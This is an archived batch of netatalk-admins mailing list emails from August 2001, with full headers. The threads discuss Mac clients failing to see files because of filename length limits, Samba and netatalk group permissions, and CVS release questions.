Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA00197
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 08:03:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA28924
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 08:03:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA28911
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 08:03:11 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA28867
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 08:03:08 -0400 (EDT)
Received: from [192.168.71.119] ([192.168.71.119])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id OAA21129;
	Tue, 28 Aug 2001 14:06:52 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 28 Aug 2001 14:06:36 +0200
Subject: Re: Files not appearing in folder on mac client
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <deltor@snafu.de>
CC: <netatalk-admins@umich.edu>
Message-ID: <B7B155EB.10708%Thomas.Kaiser@phg-online.de>
In-Reply-To: <01082813252700.31238@athlet>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 28 Aug 2001 13:12:28 +0200, Carsten Neumann wrote:

> On Tue, 28 Aug 2001, Nigel Pegram wrote:
>> Are the file names greater than that allowed on the Mac? I understand that
>> filenames longer than 32 characters cause the files not to show up in
>> netatalk.
> 
> 31 chars!
> One is for the (PASCAL-)string length. ;-)

31 bytes. Remember that there exist doublebyte fonts too, which are limited
to 15 chars ;-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Aug 28 08:11:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA00355
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 08:11:01 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA04563
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 08:11:01 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA04559
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 08:11:00 -0400 (EDT)
Received: from vibe.com ([65.105.250.196])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA04536
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 08:10:59 -0400 (EDT)
Received: from [216.254.99.162] (HELO smellyrat)
  by vibe.com (CommuniGate Pro SMTP 3.4.7)
  with ESMTP-TLS id 370985; Tue, 28 Aug 2001 08:10:55 -0400
Message-ID: <00d501c12fba$7ee56570$9865fea9@smellyrat>
From: "Stuart Haas" <shaas@vibe.com>
To: "Nigel Pegram" <editor.ac@churchesofchrist.org.au>,
        <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
References: <B7B13226.25B4%editor.ac@churchesofchrist.org.au>
Subject: Re: [Netatalk-devel] Re: Files not appearing in folder on mac client
Date: Tue, 28 Aug 2001 08:10:57 -0400
Organization: Vibe/Spin Ventures
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2505.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2505.0000

No, the test files I was creating had short file names....

----- Original Message -----
From: "Nigel Pegram" <editor.ac@churchesofchrist.org.au>
To: "Stuart Haas" <shaas@vibe.com>; <netatalk-devel@lists.sourceforge.net>;
<netatalk-admins@umich.edu>
Sent: Monday, August 27, 2001 9:33 PM
Subject: [Netatalk-devel] Re: Files not appearing in folder on mac client


> Are the file names greater than that allowed on the Mac? I understand that
> filenames longer than 32 characters cause the files not to show up in
> netatalk.
>
> HTH
> Nigel.
>
> > From: "Stuart Haas" <shaas@vibe.com>
> > Organization: Vibe/Spin Ventures
> > Date: Mon, 27 Aug 2001 16:54:17 -0400
> > To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
> > Subject: Files not appearing in folder on mac client
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Mon, 27 Aug 2001 17:06:05 -0400 (EDT)
> >
> > I've encountered a strange problem with files that exist on the server
not
> > showing up on Mac clients.  Mainly this happens with Microsoft office
> > documents created on a PC (running SAMBA on the server).  I can view the
> > documents fine on the PC, but you can't see them on the Mac.
> >
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> http://lists.sourceforge.net/lists/listinfo/netatalk-devel
>


From netatalk.administrators-errors@umich.edu  Tue Aug 28 08:53:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA01744
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 08:53:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA28499
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 08:53:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA28494
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 08:53:29 -0400 (EDT)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA28471
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 08:53:28 -0400 (EDT)
Received: from ns12-n67-147.de.inter.net ([213.73.67.147] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15biMw-0004u1-00; Tue, 28 Aug 2001 14:53:27 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id OAA00574;
	Tue, 28 Aug 2001 14:52:56 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Files not appearing in folder on mac client
Date: Tue, 28 Aug 2001 14:50:06 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <B7B13226.25B4%editor.ac@churchesofchrist.org.au> <00d501c12fba$7ee56570$9865fea9@smellyrat>
In-Reply-To: <00d501c12fba$7ee56570$9865fea9@smellyrat>
MIME-Version: 1.0
Message-Id: <01082814525601.31238@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA01744

On Tue, 28 Aug 2001, Stuart Haas wrote:
> No, the test files I was creating had short file names....

Could you please give one or two example (UNIX!) file names which aren't seen from the Mac side?

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Aug 28 08:57:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA01917
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 08:57:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA14080
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 08:57:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA14070
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 08:57:10 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA14061
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 08:57:09 -0400 (EDT)
Received: by smtpout.mac.com; Tue, 28 Aug 2001 05:56:20 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GIS3XV00.46C for
          <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 05:56:19 -0700 
Received: from dimalan ([195.232.121.14]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GIS3XU00.AOJ; Tue, 28 Aug 2001 05:56:18 -0700 
Message-ID: <021601c12fc1$85cca720$0400000a@dimalan>
From: "Jason Quigley" <jasonq@mac.com>
To: "Chris Herrmann" <chris@faredge.com.au>,
        "'Netatalk List'" <netatalk-admins@umich.edu>
References: <000e01c12f4d$515a6370$c8965ecb@faredge.com.au>
Subject: Re: How active is the cvs tree?
Date: Tue, 28 Aug 2001 15:01:12 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2479.0006
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2479.0006

Hi Chris!

Where did you find the announcement about 1.5pre7?

Thanks,
Jason.

----- Original Message -----
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Netatalk List'" <netatalk-admins@umich.edu>
Sent: Tuesday, August 28, 2001 1:09 AM
Subject: How active is the cvs tree?


> Just a curious question, more than anything. for those fearless souls out
> there, how worthwhile would it be for us to cruise the cvs repository, and
> grab nightly releases there, rather than just grabbing 1.5pre6 and
> complaining about the same bugs...
>
> I see 1.5pre7 was just released too! woohoo! going to have a play with it
> now...
>
> Cheers all,
>
> Chris
>


From netatalk.administrators-errors@umich.edu  Tue Aug 28 09:05:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA02404
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 09:05:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA15412
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 09:05:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA15400
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 09:05:05 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA15365
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 09:05:04 -0400 (EDT)
Received: by smtpout.mac.com; Tue, 28 Aug 2001 06:02:46 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GIS48L00.V3B for
          <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 06:02:45 -0700 
Received: from dimalan ([195.232.121.14]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GIS48K00.C6R; Tue, 28 Aug 2001 06:02:44 -0700 
Message-ID: <022201c12fc2$6bec8c70$0400000a@dimalan>
From: "Jason Quigley" <jasonq@mac.com>
To: "\"Chris Herrmann\"" <chris@faredge.com.au>,
        "\"'Netatalk List'\"" <netatalk-admins@umich.edu>
Subject: Fw: How active is the cvs tree?
Date: Tue, 28 Aug 2001 15:06:25 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2479.0006
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2479.0006

Hi again Chris!

nevermind, I've just spotted it in the ChangeLog in cvs.

Cheers,
Jason.

----- Original Message -----
From: "Jason Quigley" <jasonq@mac.com>
To: "Chris Herrmann" <chris@faredge.com.au>; "'Netatalk List'"
<netatalk-admins@umich.edu>
Sent: Tuesday, August 28, 2001 3:01 PM
Subject: Re: How active is the cvs tree?


> Hi Chris!
>
> Where did you find the announcement about 1.5pre7?
>
> Thanks,
> Jason.
>
> ----- Original Message -----
> From: "Chris Herrmann" <chris@faredge.com.au>
> To: "'Netatalk List'" <netatalk-admins@umich.edu>
> Sent: Tuesday, August 28, 2001 1:09 AM
> Subject: How active is the cvs tree?
>
>
> > Just a curious question, more than anything. for those fearless souls
out
> > there, how worthwhile would it be for us to cruise the cvs repository,
and
> > grab nightly releases there, rather than just grabbing 1.5pre6 and
> > complaining about the same bugs...
> >
> > I see 1.5pre7 was just released too! woohoo! going to have a play with
it
> > now...
> >
> > Cheers all,
> >
> > Chris
> >
>


From netatalk.administrators-errors@umich.edu  Tue Aug 28 09:50:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA04373
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 09:50:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA05415
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 09:50:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05386
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 09:50:53 -0400 (EDT)
Received: from vibe.com ([65.105.250.196])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA05355
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 09:50:52 -0400 (EDT)
Received: from [65.105.250.198] (HELO stuarthaasw2k)
  by vibe.com (CommuniGate Pro SMTP 3.4.7)
  with ESMTP-TLS id 371199; Tue, 28 Aug 2001 09:50:46 -0400
Message-ID: <032e01c12fc8$453720d0$2500a8c0@stuarthaasw2k>
From: "Stuart Haas" <shaas@vibe.com>
To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
References: <B7B13226.25B4%editor.ac@churchesofchrist.org.au>
Subject: Re: Files not appearing in folder on mac client
Date: Tue, 28 Aug 2001 09:49:34 -0400
Organization: Vibe/Spin Ventures
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2479.0006
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2479.0006

Problem solved - it turns out that the file names were too long.  I guess 32
characters is not that long.

Thanks for all the replies.


----- Original Message -----
From: "Nigel Pegram" <editor.ac@churchesofchrist.org.au>
To: "Stuart Haas" <shaas@vibe.com>; <netatalk-devel@lists.sourceforge.net>;
<netatalk-admins@umich.edu>
Sent: Monday, August 27, 2001 9:33 PM
Subject: Re: Files not appearing in folder on mac client


> Are the file names greater than that allowed on the Mac? I understand that
> filenames longer than 32 characters cause the files not to show up in
> netatalk.
>
> HTH
> Nigel.
>
> > From: "Stuart Haas" <shaas@vibe.com>
> > Organization: Vibe/Spin Ventures
> > Date: Mon, 27 Aug 2001 16:54:17 -0400
> > To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
> > Subject: Files not appearing in folder on mac client
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Mon, 27 Aug 2001 17:06:05 -0400 (EDT)
> >
> > I've encountered a strange problem with files that exist on the server
not
> > showing up on Mac clients.  Mainly this happens with Microsoft office
> > documents created on a PC (running SAMBA on the server).  I can view the
> > documents fine on the PC, but you can't see them on the Mac.
> >
>
>


From netatalk.administrators-errors@umich.edu  Tue Aug 28 09:54:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA04540
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 09:54:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA08769
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 09:54:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA08732
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 09:54:50 -0400 (EDT)
Received: from gateway1.dhl.com (ssf181c.dhl.com [199.41.199.181])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA08684
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 09:54:48 -0400 (EDT)
Received: from uscmg3.us.dhl.com (gateway1.dhl.com [199.41.248.137])
	by gateway1.dhl.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f7SDsk413438
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 13:54:46 GMT
Received: from ozzy.us.dhl.com (ozzy.us.dhl.com [199.41.224.41])
	by uscmg3.us.dhl.com (8.11.4/8.11.4) with ESMTP id f7SDsdZ04446
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 06:54:39 -0700 (MST)
Received: from us.dhl.com (localhost [127.0.0.1])
	by ozzy.us.dhl.com (8.11.3/8.11.3) with ESMTP id f7SDsdv21686
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 06:54:39 -0700 (MST)
Message-ID: <3B8BA350.C8C5B029@us.dhl.com>
Date: Tue, 28 Aug 2001 08:57:36 -0500
From: Pete Kuczynski <pkuczyns@us.dhl.com>
X-Sender: "Pete Kuczynski" <pkuczyns@ozzy.us.dhl.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD   (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "'Netatalk List'" <netatalk-admins@umich.edu>
Subject: unsubscribe
References: <000e01c12f4d$515a6370$c8965ecb@faredge.com.au> <021601c12fc1$85cca720$0400000a@dimalan>
Content-Type: multipart/mixed;
 boundary="------------F4C91D3E9E6156B2B6BB58FE"


This is a multi-part message in MIME format.
--------------F4C91D3E9E6156B2B6BB58FE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

 
--------------F4C91D3E9E6156B2B6BB58FE
Content-Type: text/x-vcard; charset=us-ascii;
 name="pkuczyns.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Pete Kuczynski
Content-Disposition: attachment;
 filename="pkuczyns.vcf"

begin:vcard 
n:;
x-mozilla-html:FALSE
org:<CENTER><BR><l><font face="Arial"><B><a href="http://web.us.dhl.com/client-svcs/sys-support/UserHelp/test/otherproblem.htm">Trouble ticket request form</a></B></font></l><CENTER>                                                                                                                                   
adr:;;What did you expect to find here?;;;;
version:2.1
end:vcard

--------------F4C91D3E9E6156B2B6BB58FE--


From netatalk.administrators-errors@umich.edu  Tue Aug 28 11:41:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA09058
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 11:41:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA10446
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 11:41:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10434
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 11:41:07 -0400 (EDT)
Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA09944
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 11:40:51 -0400 (EDT)
Received: from sibaz.com ([213.104.149.72]) by mta02-svc.ntlworld.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010828154049.UJY29790.mta02-svc.ntlworld.com@sibaz.com>;
          Tue, 28 Aug 2001 16:40:49 +0100
Message-ID: <3B8BBB13.6A58FA83@sibaz.com>
Date: Tue, 28 Aug 2001 16:38:59 +0100
From: Simon Bazley <sibaz@sibaz.com>
X-Mailer: Mozilla 4.78 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stuart Haas <shaas@vibe.com>
CC: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] Files not appearing in folder on mac client
References: <021d01c12f3a$6ffa0730$2500a8c0@stuarthaasw2k>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Files created with SAMBA don't create .AppleDouble files, cause they don't
have resource fork.
All the problems I had with Samba and Netatalk came down to the access rights
of the users concerned.  Check that the user trying to see the file has read
access to the file and has execute on the directory its sitting in. If they
can see other files in the same directory then the execute bit is already set,
and its probably a rights issue, so check the owner of the file.
The problem I used to get was files would be created in the editorial
directory with rw-r--r-- and owned by fred.fred and the rest of the editorial
team couldn't access it.  I got round it on the samba side by ensuring the
editorial share had "force group=+Editorial" and the global "create mask =
0664" (and "directory mask = 0775").  The + on force group means only force
people to that group if they are a member of that group already.
Sadly I couldn't get the same thing to work with netatalk so I had to set the
primary group of all of editorial to editorial, so files were created
fred.editorial and hence everoyne was happy.  Clearly that breaks if the mac
users go creating files in other shares, but I couldn't see a way to work
around that problem.  In the end if anyone found they couldn't access a file,
they'd call my office and I'd just go into where the file was and do a "chown
.editorial * -R" and "chmod g+wrX * -R".  Less than ideal, but it worked.

Simon

Stuart Haas wrote:

> Hi,
>
> I've encountered a strange problem with files that exist on the server not
> showing up on Mac clients.  Mainly this happens with Microsoft office
> documents created on a PC (running SAMBA on the server).  I can view the
> documents fine on the PC, but you can't see them on the Mac.
>
> I noticed that if you look in the .AppleDouble folder, that the files that
> can't be seen on the Mac, don't appear there.
>
> I am running the Netatalk 1.5pre6rh7, AFP over TCP/IP, on Redhat 7.1, with
> 2.4.6 kernel.
>
> Any suggestions?
>
> Stuart
> ------------------------------
> Stuart Haas
> IT Director
> Vibe/Spin  Ventures
> 212.448.7493
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> http://lists.sourceforge.net/lists/listinfo/netatalk-devel


From netatalk.administrators-errors@umich.edu  Tue Aug 28 12:21:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA10611
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 12:21:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA28532
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 12:21:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA28520
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 12:21:10 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA28374
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 12:21:05 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Tue, 28 Aug 2001 09:20:33 -0700
Message-Id: <sb8b6261.027@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Tue, 28 Aug 2001 09:19:20 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
Cc: <netatalk-admins@umich.edu>
Subject: Re: That old alias thing again
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA10611

What is the process for upgrading from an old version?  Assuming it wasn't installed using RPM...  

Bryn

----------------------------------------------
Bryn Hughes
Macintosh Tech Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

>>> jeff <jeff@univrel.pr.uconn.edu> - 8/27/01 6:38 AM >>>
Lee Blevins wrote:

>>A probable solution would involve another set of netatalk owned files,
>>more configuration, another server daemon, a lot of work and in the
>>beginning surely more user frustration compared to the few who actually
>>complain about alias problems now. I don't know anything about the
>>development resources but can imagine that arguments are there ...
> 
> So for those of us in proffessional prepress netatalk remains just a
> curiosity and not a contender for a file server.

I understand your doubts about netatalk, but we're currently finishing 
up a possible solution for the persistent alias problem that netatalk 
has been having, which will be ready for the 1.5 release. Grab the CVS 
version from sourceforge and submit some bug reports if you can.

Thanks,
Jeff



From netatalk.administrators-errors@umich.edu  Tue Aug 28 12:29:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA10807
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 12:29:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA11621
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 12:28:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA11604
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 12:28:45 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA11554
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 12:28:44 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GISDS800.BC0 for <netatalk-admins@umich.edu>; Tue, 28
          Aug 2001 18:28:56 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B8BC6C8.97BFB6E3@fcb-wilkens.com>
Date: Tue, 28 Aug 2001 18:28:56 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] Files not appearing in folder on mac client
References: <021d01c12f3a$6ffa0730$2500a8c0@stuarthaasw2k> <3B8BBB13.6A58FA83@sibaz.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Simon Bazley wrote:
> 
> Files created with SAMBA don't create .AppleDouble files, cause they don't
> have resource fork.
> All the problems I had with Samba and Netatalk came down to the access rights
> of the users concerned.  Check that the user trying to see the file has read
> access to the file and has execute on the directory its sitting in. If they
> can see other files in the same directory then the execute bit is already set,
> and its probably a rights issue, so check the owner of the file.
> The problem I used to get was files would be created in the editorial
> directory with rw-r--r-- and owned by fred.fred and the rest of the editorial
> team couldn't access it.  I got round it on the samba side by ensuring the
> editorial share had "force group=+Editorial" and the global "create mask =
> 0664" (and "directory mask = 0775").  The + on force group means only force

You could set the sticky bit on directories (2775 instead of 0775). all files
created in the folder then belong to the group of the folder. The sticky 
it is honored by  netatalk as well, being handled on the underlying 
(file system) layer.

Regards,
	Harald
-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

